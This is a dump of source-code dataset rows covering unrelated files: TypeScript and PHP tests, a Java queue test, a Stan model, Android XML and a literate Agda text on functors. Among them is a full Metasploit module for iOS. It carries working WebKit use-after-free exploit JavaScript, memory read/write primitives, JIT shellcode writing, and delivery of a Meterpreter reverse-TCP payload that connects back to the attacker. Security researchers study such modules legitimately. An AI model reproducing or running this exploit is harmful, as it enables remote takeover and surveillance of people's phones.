content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
listlengths 1
8
|
---|---|---|---|---|---|
/// <reference path='fourslash.ts'/>
////
//// const [] = [Math.min(./*marker*/)]
////
goTo.marker("marker");
verify.completions({ exact: undefined });
edit.insert(".");
verify.completions({ exact: undefined });
edit.insert(".");
verify.completions({ exact: completion.globals });
| TypeScript | 3 | monciego/TypeScript | tests/cases/fourslash/completionsWritingSpreadArgument.ts | [
"Apache-2.0"
] |
[{:type :error,
:file "/androidnative/src/main.cpp",
:line 17,
:column 1,
:message "‘ubar’ does not name a type\n ubar g_foo = 0;\n ^"}
{:type :warning,
:file "/engine/lua/build/../src/lua/loslib.c",
:line 60,
:column nil,
:message "the use of `tmpnam' is dangerous, better use `mkstemp'"}
{:type :error,
:file "/androidnative/src/main.cpp",
:line 166,
:message "undefined reference to `Foobar()'"}
{:type :error,
:file "/androidnative/ext.manifest",
:message "collect2: error: ld returned 1 exit status"}
{:type :note,
:file "/androidnative/ext.manifest",
:message "/usr/bin/ld: cannot find -lsteam_api"}
{:type :error,
:file "/androidnative/ext.manifest",
:message "collect2: error: ld returned 1 exit status"}]
| edn | 1 | cmarincia/defold | editor/test/resources/native_extension_error_parsing/errorLogLinux_parsed.edn | [
"ECL-2.0",
"Apache-2.0"
] |
--TEST--
Phar: copy-on-write test 23 [cache_list]
--INI--
default_charset=UTF-8
phar.cache_list={PWD}/copyonwrite23.phar.php
phar.readonly=0
--EXTENSIONS--
phar
zlib
--FILE_EXTERNAL--
files/write23.phar
--EXPECT--
bool(true)
bool(false)
bool(false)
bool(true)
ok
| PHP | 2 | NathanFreeman/php-src | ext/phar/tests/cache_list/copyonwrite23.phar.phpt | [
"PHP-3.01"
] |
'hello\
world' | JSON5 | 0 | leandrochomp/react-skeleton | node_modules/babelify/node_modules/babel-core/node_modules/json5/test/parse-cases/strings/multi-line-string.json5 | [
"MIT"
] |
package com.baeldung.concurrent.priorityblockingqueue;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.concurrent.PriorityBlockingQueue;
import java.util.concurrent.TimeUnit;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.util.Lists.newArrayList;
public class PriorityBlockingQueueIntegrationTest {
private static final Logger LOG = LoggerFactory.getLogger(PriorityBlockingQueueIntegrationTest.class);
@Test
public void givenUnorderedValues_whenPolling_thenShouldOrderQueue() throws InterruptedException {
PriorityBlockingQueue<Integer> queue = new PriorityBlockingQueue<>();
ArrayList<Integer> polledElements = new ArrayList<>();
queue.add(1);
queue.add(5);
queue.add(2);
queue.add(3);
queue.add(4);
queue.drainTo(polledElements);
assertThat(polledElements).containsExactly(1, 2, 3, 4, 5);
}
@Test
public void whenPollingEmptyQueue_thenShouldBlockThread() throws InterruptedException {
PriorityBlockingQueue<Integer> queue = new PriorityBlockingQueue<>();
final Thread thread = new Thread(() -> {
LOG.debug("Polling...");
while (true) {
try {
Integer poll = queue.take();
LOG.debug("Polled: " + poll);
} catch (InterruptedException ignored) {
}
}
});
thread.start();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
LOG.debug("Adding to queue");
queue.addAll(newArrayList(1, 5, 6, 1, 2, 6, 7));
Thread.sleep(TimeUnit.SECONDS.toMillis(1));
}
}
| Java | 4 | zeesh49/tutorials | core-java-concurrency/src/test/java/com/baeldung/concurrent/priorityblockingqueue/PriorityBlockingQueueIntegrationTest.java | [
"MIT"
] |
forex
load -h
load -i
to EUR
quote -h
quote -argument
quote
load
candle
from ILS
quote
load
candle
exit | Gosu | 2 | minhhoang1023/GamestonkTerminal | scripts/test_forex_av.gst | [
"MIT"
] |
functions {
real[] f(real[] s, real[] a, real[] b, real[] c, real[] d) {
int tot_obs;
real ret[dims(s)[1]];
tot_obs = dims(s)[1];
//apply logistic function to each observation
for(obs in 1:tot_obs) {
ret[obs] = a[obs]/(1 + exp(-b[obs]*s[obs]+c[obs])) + d[obs];
}
return ret;
}
}
data {
int<lower=0> N; //number of patients
int<lower=0> K; //number biomarkers
int<lower=0> tot_obs; //total number of observations
int patient_idx[tot_obs]; //identify which patient the obs came from
int biomarker_idx[tot_obs]; //identify which type of biomarker the obs is
vector[tot_obs] age; //age at the time of observation
real y[tot_obs]; //obs value
}
parameters {
//biomarker specific parameters
real<upper=0> a_abeta;
real<upper=0> a_hippo;
real<lower=0> a_tau;
real<lower=0> d_abeta;
real<lower=0> d_hippo;
real<lower=0> d_tau;
real<lower=0> b_hippo;
real<lower=0> b_mmse;
real<lower=0> b_tau;
real c_hippo;
real c_mmse;
real c_tau;
real<lower=0> sigma_abeta;
real<lower=0> sigma_hippo;
real<lower=0> sigma_mmse;
real<lower=0> sigma_tau;
//individual specific disease paramters
real<lower=0> gamma;
vector<lower=0>[N] alpha;
vector[N] beta;
}
transformed parameters {
//use single arrays for simple indexing
real a[K];
real d[K];
real<lower=0, upper=10> b[K];
real c[K];
real<lower=0> sigma[K];
//MMSE does not need a and d because we know
//it is designed to go from a scale of 0-30.
//Because of the individual progressions, one
//of the biomarker b,c parameters must be fixed
//for identifiability. We choose ABETA
a[1] = a_abeta;
a[2] = a_hippo;
a[3] = -30;
a[4] = a_tau;
d[1] = d_abeta;
d[2] = d_hippo;
d[3] = 30;
d[4] = d_tau;
b[1] = 1;
b[2] = b_hippo;
b[3] = b_mmse;
b[4] = b_tau;
c[1] = 0;
c[2] = c_hippo;
c[3] = c_mmse;
c[4] = c_tau;
sigma[1] = sigma_abeta;
sigma[2] = sigma_hippo;
sigma[3] = sigma_mmse;
sigma[4] = sigma_tau;
}
model {
real s[tot_obs] = to_array_1d(alpha[patient_idx] .* age + beta[patient_idx]);
y ~ normal(f(s, a[biomarker_idx], b[biomarker_idx], c[biomarker_idx], d[biomarker_idx]), sigma[biomarker_idx]);
a_abeta ~ normal(-110, 1);
a_hippo ~ normal(-0.19,0.1);
a_tau ~ normal(50,10);
d_abeta ~ normal(245,1);
d_hippo ~ normal(0.72,0.1);
d_tau ~ normal(50,10);
b_hippo ~ normal(1,1);
b_mmse ~ normal(1,1);
b_tau ~ normal(1,1);
c_hippo ~ normal(0,20);
c_mmse ~ normal(0,20);
c_tau ~ normal(0,20);
gamma ~ normal(0, 10);
alpha ~ normal(1, gamma);
beta ~ normal(0, 10);
}
generated quantities {
//generate value of each of the biomarkers over time for each patient
vector[81] grid;
real shat[N,81];
real fhat[N,K,81];
real muhat[tot_obs];
real yhat[tot_obs];
real s[tot_obs] = to_array_1d(alpha[patient_idx] .* age + beta[patient_idx]);
for(i in 1:81) grid[i] = -20 + 0.5*(i-1);
for(n in 1:N) {
shat[n,] = to_array_1d(alpha[n]*grid + rep_vector(beta[n],81));
for(k in 1:K)
fhat[n,k,] = f(to_array_1d(alpha[n]*grid+beta[n]),rep_array(a[k], 81),rep_array(b[k], 81),rep_array(c[k], 81),rep_array(d[k], 81));
}
muhat = f(s, a[biomarker_idx], b[biomarker_idx], c[biomarker_idx], d[biomarker_idx]);
for(n in 1:tot_obs) yhat[n] = normal_rng(muhat[n], sigma[biomarker_idx][n]);
}
| Stan | 5 | stan-dev/stancon_talks | 2018/Contributed-Talks/02_pourzanjani/stan/linear_progression.stan | [
"CC-BY-4.0",
"BSD-3-Clause"
] |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'WebKit not_number defineProperties UAF',
'Description' => %q{
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
},
'License' => MSF_LICENSE,
'Author' => [
'qwertyoruiop', # jbme.qwertyoruiop.com
'siguza', # PhoenixNonce
'tihmstar', # PhoenixNonce
'benjamin-42', # Trident
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4655'],
['CVE', '2016-4656'],
['CVE', '2016-4657'],
['BID', '92651'],
['BID', '92652'],
['BID', '92653'],
['URL', 'https://blog.lookout.com/trident-pegasus'],
['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
['URL', 'https://github.com/Siguza/PhoenixNonce'],
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
['URL', 'https://github.com/benjamin-42/Trident'],
['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],
],
'Arch' => ARCH_AARCH64,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => '2016-08-25'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
])
end
def payload_url
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
end
def on_request_uri(cli, request)
print_status("Request from #{request['User-Agent']}")
if request.uri =~ %r{/loader32$}
print_good("armle target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
loader_data = File.read(local_file, {:mode => 'rb'})
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
config = [srvhost, srvport].pack("Nn") + payload_url
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, config.length] = config
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
elsif request.uri =~ %r{/loader64$}
print_good("aarch64 target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
loader_data = File.read(local_file, {:mode => 'rb'})
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
elsif request.uri =~ %r{/exploit64$}
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
loader_data = File.read(local_file, {:mode => 'rb'})
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, payload_url.length] = payload_url
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
print_status("Sent exploit (#{loader_data.size} bytes)")
return
elsif request.uri =~ %r{/payload32$}
payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha1
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
print_status("Sent payload (#{payload_data.size} bytes)")
return
end
html = %Q^
<html>
<body>
<script>
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
return req.responseText;
}
var pressure = new Array(400);
var bufs = new Array(10000);
var fcp = 0;
var smsh = new Uint32Array(0x10);
var trycatch = "";
for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);
function dgc() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0xa000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}
function swag() {
if(bufs[0]) return;
dgc();
for (i=0; i < bufs.length; i++) {
bufs[i] = new Uint32Array(0x100*2)
for (k=0; k < bufs[i].length; )
{
bufs[i][k++] = 0x41414141;
bufs[i][k++] = 0xffff0000;
}
}
}
var mem0=0;
var mem1=0;
var mem2=0;
function read4(addr) {
mem0[4] = addr;
var ret = mem2[0];
mem0[4] = mem1;
return ret;
}
function write4(addr, val) {
mem0[4] = addr;
mem2[0] = val;
mem0[4] = mem1;
}
_dview = null;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function go_(){
var arr = new Array(0x100);
var not_number = {};
not_number.toString = function() {
arr = null;
props["stale"]["value"] = null;
swag();
return 10;
};
smsh[0] = 0x21212121;
smsh[1] = 0x31313131;
smsh[2] = 0x41414141;
smsh[3] = 0x51515151;
smsh[4] = 0x61616161;
smsh[5] = 0x71717171;
smsh[6] = 0x81818181;
smsh[7] = 0x91919191;
var props = {
p0 : { value : 0 },
p1 : { value : 1 },
p2 : { value : 2 },
p3 : { value : 3 },
p4 : { value : 4 },
p5 : { value : 5 },
p6 : { value : 6 },
p7 : { value : 7 },
p8 : { value : 8 },
length : { value : not_number },
stale : { value : arr },
after : { value : 666 }
};
var target = [];
var stale = 0;
Object.defineProperties(target, props);
stale = target.stale;
if (stale.length != 0x41414141){
location.reload();
return;
}
var obuf = new Uint32Array(2);
obuf[0] = 0x41414141;
obuf[1] = 0xffff0000;
stale[0] = 0x12345678;
stale[1] = {};
for(var z=0; z<0x100; z++) fc();
for (i=0; i < bufs.length; i++) {
var dobreak = 0;
for (k=0; k < bufs[0].length; k++) {
if (bufs[i][k] == 0x12345678) {
if (bufs[i][k+1] == 0xFFFF0000) {
stale[0] = fc;
fcp = bufs[i][k];
stale[0] = {
'a': u2d(105, 0),
'b': u2d(0, 0),
'c': smsh,
'd': u2d(0x100, 0)
}
stale[1] = stale[0];
bufs[i][k] += 0x10;
bck = stale[0][4];
stale[0][4] = 0;
stale[0][6] = 0xffffffff;
mem0 = stale[0];
mem1 = bck;
mem2 = smsh;
bufs.push(stale);
if (smsh.length != 0x10) {
var filestream = load_binary_resource("loader64");
var macho = load_binary_resource("exploit64");
r2 = smsh[(fcp+0x18)/4];
r3 = smsh[(r2+0x10)/4];
var jitf = smsh[(r3+0x10)/4];
write4(jitf, 0xd28024d0); //movz x16, 0x126
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
write4(jitf + 8, 0xd4001001); //svc 80
write4(jitf + 12, 0xd65f03c0); //ret
write4(jitf + 16, jitf + 0x20);
write4(jitf + 20, 1);
fc();
var dyncache = read4(jitf + 0x20);
var dyncachev = read4(jitf + 0x20);
var go = 1;
while (go) {
if (read4(dyncache) == 0xfeedfacf) {
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
{
go = 0;
break;
}
}
}
dyncache += 0x1000;
}
dyncache -= 0x1000;
var bss = [];
var bss_size = [];
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
bss_size.push(read4(dyncache + i * 4 + (0x28)));
}
}
var shc = jitf;
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
write4(shc, word);
shc += 4;
i += 4;
}
jitf &= ~0x3FFF;
jitf += 0x8000;
write4(shc, jitf);
write4(shc + 4, 1);
// copy macho
for (var i = 0; i < macho.length;i+=4) {
var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);
write4(jitf+i, word);
}
for (var i = 0; i < bss.length; i++) {
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
write4(bss[i] + k * 4, 0);
}
}
fc();
}
} else if(bufs[i][k+1] == 0xFFFFFFFF) {
stale[0] = fc;
fcp = bufs[i][k];
stale[0] = smsh;
stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}
stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}
stale[1] = stale[0];
bufs[i][k] += 0x10;
var leak = stale[0][0].charCodeAt(0);
leak += stale[0][1].charCodeAt(0) << 8;
leak += stale[0][2].charCodeAt(0) << 16;
leak += stale[0][3].charCodeAt(0) << 24;
bufs[i][k] -= 0x10;
stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}
stale[1] = stale[0];
bufs[i][k] += 0x10;
stale[0][4] = 0;
stale[0][5] = 0xffffffff;
bufs[i][k] -= 0x10;
mem0 = stale[0];
mem2 = smsh;
if (smsh.length != 0x10) {
setTimeout(function() {
var filestream = load_binary_resource("loader32");
r2 = smsh[(fcp+0x14)/4];
r3 = smsh[(r2+0x10)/4];
shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;
smsh[shellcode/4] = 0;
shellcode += 4;
smsh[shellcode/4] = 0;
shellcode += 4;
smsh[shellcode/4] = 0;
shellcode += 4;
smsh[shellcode/4] = 0;
shellcode += 4;
for(var i = 0; i < filestream.length; i+=4) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8) | ((filestream.charCodeAt(i+2) & 0xff) << 16) | ((filestream.charCodeAt(i+3) & 0xff) << 24);
smsh[(shellcode+i)/4] = word;
}
smsh[(fcp+0x00)/4] = fcp+4;
smsh[(fcp+0x04)/4] = fcp+4;
smsh[(fcp+0x08)/4] = shellcode+1; //PC
smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;
fc();
}, 100);
}
} else {
location.reload();
}
dobreak = 1;
break;
}
}
if (dobreak) break;
}
location.reload();
}
setTimeout(go_, 300);
</script>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
| Ruby | 2 | captaainconfrontation/metasploit-framework | modules/exploits/apple_ios/browser/webkit_trident.rb | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
package com.baeldung.batchtesting.service;
import com.baeldung.batchtesting.model.Book;
import com.baeldung.batchtesting.model.BookRecord;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.batch.item.ItemProcessor;
public class BookItemProcessor implements ItemProcessor<BookRecord, Book> {
private static Logger LOGGER = LoggerFactory.getLogger(BookItemProcessor.class);
@Override
public Book process(BookRecord item) throws Exception {
Book book = new Book();
book.setAuthor(item.getBookAuthor());
book.setName(item.getBookName());
LOGGER.info("Processing book {}", book);
return book;
}
}
| Java | 4 | DBatOWL/tutorials | spring-batch/src/main/java/com/baeldung/batchtesting/service/BookItemProcessor.java | [
"MIT"
] |
--TEST--
Test iconv_strlen() function : basic functionality
--EXTENSIONS--
iconv
--FILE--
<?php
/*
* Test basic functionality of iconv_strlen()
*/
echo "*** Testing iconv_strlen() : basic functionality***\n";
$string_ascii = 'abc def';
//Japanese string in UTF-8
$string_mb = base64_decode('5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ44CCMDEyMzTvvJXvvJbvvJfvvJjvvJnjgII=');
echo "\n-- ASCII String --\n";
var_dump(iconv_strlen($string_ascii));
echo "\n-- Multibyte String --\n";
var_dump(iconv_strlen($string_mb, 'UTF-8'));
?>
--EXPECT--
*** Testing iconv_strlen() : basic functionality***
-- ASCII String --
int(7)
-- Multibyte String --
int(21)
| PHP | 4 | NathanFreeman/php-src | ext/iconv/tests/iconv_strlen_basic.phpt | [
"PHP-3.01"
] |
public struct AType {}
| Swift | 1 | lwhsu/swift | test/stdlib/Inputs/RuntimeRetroactiveConformance/A.swift | [
"Apache-2.0"
] |
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="?attr/colorControlNormal"
android:autoMirrored="true">
<path
android:fillColor="@android:color/white"
android:pathData="M5,7h14c0.55,0 1,0.45 1,1v0c0,0.55 -0.45,1 -1,1H5C4.45,9 4,8.55 4,8v0C4,7.45 4.45,7 5,7z"/>
<path
android:fillColor="@android:color/white"
android:pathData="M5,13h14c0.55,0 1,-0.45 1,-1v0c0,-0.55 -0.45,-1 -1,-1H5c-0.55,0 -1,0.45 -1,1v0C4,12.55 4.45,13 5,13z"/>
<path
android:fillColor="@android:color/white"
android:pathData="M5,17h5c0.55,0 1,-0.45 1,-1v0c0,-0.55 -0.45,-1 -1,-1H5c-0.55,0 -1,0.45 -1,1v0C4,16.55 4.45,17 5,17z"/>
<path
android:fillColor="@android:color/white"
android:pathData="M5,21h5c0.55,0 1,-0.45 1,-1v0c0,-0.55 -0.45,-1 -1,-1H5c-0.55,0 -1,0.45 -1,1v0C4,20.55 4.45,21 5,21z"/>
<path
android:fillColor="@android:color/white"
android:pathData="M15.41,18.17l-0.71,-0.71c-0.39,-0.39 -1.02,-0.39 -1.41,0l0,0c-0.39,0.39 -0.39,1.02 0,1.41l1.42,1.42c0.39,0.39 1.02,0.39 1.41,0l3.17,-3.17c0.39,-0.39 0.39,-1.02 0,-1.41l0,0c-0.39,-0.39 -1.02,-0.39 -1.41,0L15.41,18.17z"/>
<path
android:fillColor="@android:color/white"
android:pathData="M4,4L4,4c0,0.55 0.45,1 1,1h14c0.55,0 1,-0.45 1,-1v0c0,-0.55 -0.45,-1 -1,-1H5C4.45,3 4,3.45 4,4z"/>
</vector>
| XML | 3 | semoro/androidx | compose/material/material/icons/generator/raw-icons/rounded/grading.xml | [
"Apache-2.0"
] |
\section{Functors as Arrows}
%if False
\begin{code}
module Functors where
open import Agda.Primitive renaming (_⊔_ to _\-/_)
open import DeBruijn
open import Thinnings
open import Slime
open import Worry
open import Categories
\end{code}
%endif
When does one category tell you about another? When we have a
structure-preserving translation --- a \emph{functor} --- between
them: maps of cities are useful in part because the lines on the map
join up in the same pattern as the streets in the city. What is a functor, in our
setting?
%format Ddot = "\V{D}."
%format D.Obj = Ddot Obj
%format D.Arr = Ddot Arr
%format D.id = Ddot id
%format D.- = Ddot -
%format D.~> = Ddot ~>
%format D.~~ = Ddot ~~
%format D._-_ = Ddot _-_
%format D.coex = Ddot coex
%format D.idco = Ddot idco
%format D.coid = Ddot coid
%format D.coco = Ddot coco
%format Edot = "\V{E}."
%format E.Obj = Edot Obj
%format E.Arr = Edot Arr
%format E.id = Edot id
%format E.- = Edot -
%format E.~> = Edot ~>
%format E.~~ = Edot ~~
%format E._-_ = Edot _-_
%format E.coex = Edot coex
%format E.idco = Edot idco
%format E.coid = Edot coid
%format E.coco = Edot coco
%format Functor = "\F{Functor}"
\begin{definition}[Functor]
Fix a \emph{source} category |C| and a \emph{target} category |D|. Their relative
sizes are unimportant.
\begin{code}
module _ {l k l' k'}(C : Cat l k)(D : Cat l' k') where
private module C = Cat C ; module D = Cat D
\end{code}
We may construct a |Setoid| of structure-preserving translations from |C| to |D|.
Every |C| object must |Map| to a |D| object, and every |C| arrow must |map| to
a |D| arrow, compatibly with |Map|.
\begin{code}
Functor : Setoid (l \-/ k \-/ l' \-/ k')
Functor =
SG (C.Obj -> D.Obj) \ Map ->
( IM C.Obj \ S -> IM C.Obj \ T -> PI (S C.~> T) \ _ ->
D.Arr (Map S) (Map T))
|| \ map ->
\end{code}
The use of a comprehension allows us to add the laws that |map| must obey:
it must respect equivalence, and preserve identities and composition.
\begin{code}
({S T : C.Obj}{f g : S C.~> T} ->
f C.~~ g -> map f D.~~ map g)
* ({X : C.Obj} ->
map (C.id {X}) D.~~ D.id {Map X})
* ({R S T : C.Obj}(f : R C.~> S)(g : S C.~> T) ->
map (f C.- g) D.~~ (map f D.- map g))
\end{code}
\end{definition}
Now, we should like Agda to recognize functors --- elements of that |Setoid| ---
when she sees them and to know their source and target categories implicitly.
This calls for `green things in blue packaging'.
%format -F> = "\D{\Rightarrow}"
%format _-F>_ = "\D{" _ "\!}" -F> "\D{\!" _ "}"
%format fun = "\C{fun}"
%format nuf = "\C{nuf}"
%format Map = "\F{Map}"
%format map = "\F{map}"
%format mapex = "\F{mapex}"
%format mapid = "\F{mapid}"
%format mapco = "\F{mapco}"
\begin{code}
record _-F>_ : Set (l \-/ k \-/ l' \-/ k') where
constructor fun
field nuf : El Functor
Map = fst nuf
map = fst (snd nuf)
mapex = fst (snd (snd nuf))
mapid = fst (snd (snd (snd nuf)))
mapco = snd (snd (snd (snd nuf)))
open _-F>_ public
\end{code}
The |-F>| operator becomes infix when the module fixing |C| and |D| is opened.
I have made |Functor| a |Setoid| for a reason: they will shortly be the |Arr|ows of a
|Cat|egory. However, before we can go to work with this definition, we should tool
up for the reasoning within setoids that we shall inevitably face.
\begin{craft}[Equivalence Reasoning for Setoids]
Fix a |Setoid|, |X|, and name its laws.
\begin{code}
module _ {l}{X : Setoid l} where
private RfX = Rf X ; SyX = Sy X ; TrX = Tr X
\end{code}
We may benefit from `green things in blue packaging' by suppressing more detail
when the setoid at work is fixed. E.g., we can drop the element from the
reflexivity witness.
\begin{code}
rS : {-<-} forall {x : El X} -> {->-} X :> x ~~ x
rS {x} = eq (RfX x)
\end{code}
Moreover, we can build some combinators which facilitate readable chains of
equational reasoning, showing the steps and the explanations which justify
them.
\begin{code}
infixr 5 _~[_>~_ _~<_]~_
infixr 6 _~[SQED]
_~[_>~_ : {-<-} {y z : El X} -> {->-} forall x -> X :> x ~~ y -> X :> y ~~ z -> X :> x ~~ z
x ~[ eq q >~ eq q' = eq (TrX _ _ _ q q')
_~<_]~_ : {-<-} {y z : El X} -> {->-} forall x -> X :> y ~~ x -> X :> y ~~ z -> X :> x ~~ z
x ~< eq q ]~ eq q' = eq (TrX _ _ _ (SyX _ _ q) q')
_~[SQED] : (x : El X) -> X :> x ~~ x
x ~[SQED] = eq (RfX x)
\end{code}
Lastly, we have a combinator which allows us to fix the setoid.
\begin{code}
qprf : {-<-} forall {l} -> {->-} (X : Setoid l){x y : El X} -> X :> x ~~ y -> Eq X x y
qprf X = qe
\end{code}
\end{craft}
Let us have some examples.
\begin{definition}[Forgetting Arrows]
Fix a category
\begin{code}
module _ {k l}(C : Cat k l) where
private module C = Cat C
\end{code}
The discrete category on the objects of |C| has a functor into |C|.
%format FORGET = "\F{FORGET}"
%if False
\begin{code}
open Cat
\end{code}
%endif
\begin{code}
FORGET : DISCRETE C.Obj -F> C
nuf FORGET
= (\ X -> X) -- objects map to themselves
, (\ { splatvr -> C.id }) -- arrows map to identities
, (\ { {_}{_}{splatvr}{splatvr} _ -> eq (Rf (C.Arr _ _) _) })
, rS
, \ { splatvr splatvr ->
C.id ~< C.idco _ ]~
C.id C.- C.id ~[SQED] }
\end{code}
\end{definition}
\begin{definition}[Functions as Functors]
A function |f : S -> T| is trivially a functor between discrete categories.
%format FUN = "\F{FUN}"
\begin{code}
FUN : {-<-}forall {k l}{S : Set k}{T : Set l} ->{->-} (S -> T) -> DISCRETE S -F> DISCRETE T
nuf (FUN f) = f
, (\ { splatvr -> splatvr }) , (\ { {_}{_}{splatvr}{splatvr} _ -> splateqrv }) , splateqrv , \ { splatvr splatvr -> splateqrv }
\end{code}
\end{definition}
\begin{definition}[Identity |Functor|]
Fix a category |C|.
\begin{code}
module _ {k l : Level}{C : Cat k l} where
open Cat C
\end{code}
There is a functor from |C| to itself.
%format I = "\F{I}"
\begin{code}
I : C -F> C
nuf I = (\ X -> X) -- identity on objects
, (\ f -> f) -- identity on morphisms
, (\ q -> q) -- identity is extensional
, rS -- identity preserves |id|
, \ _ _ -> rS -- identity preserves |-|
\end{code}
\end{definition}
\begin{lemma}[|Functor|s compose]
Fix three categories.
%format >> = "\F{\mathbf{;}}"
%format _>>_ = "\F{" _ "\!}" >> "\F{\!" _ "}"
\begin{code}
module _ {kC lC kD lD kE lE}{C : Cat kC lC}{D : Cat kD lD}{E : Cat kE lE} where
private module C = Cat C ; module D = Cat D ; module E = Cat E
\end{code}
\begin{code}
_>>_ : C -F> D -> D -F> E -> C -F> E
nuf (F >> G)
= (\ X -> Map G (Map F X)) -- compose |Map|s
, (\ f -> map G (map F f)) -- compose |map|s
, (\ q -> mapex G (mapex F q)) -- compose extensionality witnesses
, ( map G (map F C.id) ~[ mapex G (mapid F) >~
map G D.id ~[ mapid G >~
E.id ~[SQED])
, \ f g ->
map G (map F (f C.- g)) ~[ mapex G (mapco F _ _) >~
map G (map F f D.- map F g) ~[ mapco G _ _ >~
(map G (map F f) E.- map G (map F g)) ~[SQED]
\end{code}
\end{lemma}
We can acquire another example for the price of one useful data structure.
\begin{definition}[Environment]
An \emph{environment} is a scope-indexed sequence of sort-indexed values.
%format Env = "\D{Env}"
\begin{code}
module _ {X : Set} where
data Env (V : X -> Set) : Bwd X -> Set where
[] : Env V []
_-,_ : forall {xz x} -> Env V xz -> V x -> Env V (xz -, x)
\end{code}
\end{definition}
If we flip our thinking about thinnings and see them as the \emph{selection} of a
subscope from a scope, we should be able to make the corresponding selection of
values from an environment. In particular, if a thinning tells us how the support
of a term embeds in its scope, we can whittle an environment down to just those
values that are pertinent to the term.
\begin{lemma}[Selection]
|Env V| is the action on objects of a functor from reversed thinnings to
sets-and-functions.
%format SELECT = "\F{SELECT}"
\begin{spec}
module _ (V : X -> Set) where
SELECT : OP (THIN X) -F> SET lzero
fst (nuf SELECT) = Env V
\end{spec}
\end{lemma}
To prove the lemma, we must construct the rest of the |Functor|. We should
prepare the components separately, then slot them into place.
%format select = "\F{select}"
Its action on morphisms is to copy where the thinning copies and discard
where the thinning inserts.
%format <? = "\F{\leftslice}"
%format _<?_ = "\F{" _ "\!}" <? "\F{\!" _ "}"
\begin{code}
module _ {V : X -> Set} where
